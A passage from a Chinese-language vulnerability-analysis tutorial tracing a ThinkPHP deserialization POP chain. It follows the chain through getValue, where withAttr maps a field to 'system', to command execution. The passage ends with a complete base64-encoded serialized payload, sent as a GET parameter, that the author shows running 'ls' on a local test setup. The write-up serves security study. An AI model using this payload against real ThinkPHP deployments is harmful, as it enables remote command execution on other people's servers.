黑客手把手教你分析一次漏洞( 五 )


protected function getValue(string $name, $value, $relation = false){    echo "进入getValue函数!!!!<br>";    // 检测属性获取器    $fieldName = $this->getRealFieldName($name); //$fieldName='axin'    $method    = 'get' . Str::studly($name) . 'Attr';    if (isset($this->withAttr[$fieldName])) {        if ($relation) {            $value = $this->getRelationValue($relation);        }        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {            $value = $this->getJsonValue($fieldName, $value);        } else {            echo "到达代码执行触发点!!!<br>";            $closure = $this->withAttr[$fieldName];  //这里的withAttr = ["axin"=>"system"]            $value   = $closure($value, $this->data);        }    } elseif (method_exists($this, $method)) {        xxxxxx    } elseif (isset($this->type[$fieldName])) {        xxxxx    } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {      xxxx    } elseif ($relation) {       xxxxxxxxxx    }    return $value;}这里顺序执行,默认会执行到
$closure = $this->withAttr[$fieldName];  //这里的withAttr = ["axin"=>"system"] ,$filedName='axin'$value   = $closure($value, $this->data);//最终执行system("ls", ["axin"=>"ls"])可以看到最终是执行了system("ls", ["axin"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的

注:
system ( string $command [, int &$return_var ] ) : string
参数
command
要执行的命令 。
return_var
如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中 。
至此,Tp5.6.x的pop链后半段也结束了 。剩下的就是完善刚刚前半段POP链构造的poc了,成品也就是我最开始贴出来的那个,最后看一下我本地调试的效果,当然在调试过程中需要自己构造一个反序列化点,我直接在Index控制器中构造了一个新方法反序列化$_GET[p]:
黑客手把手教你分析一次漏洞

文章插图
 
然后请求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功执行ls命令,其他那些乱七八糟的输出是我调试是自己echo的,大家在编写反序列化poc时也可以这样一点点确定自己写对了没 。


推荐阅读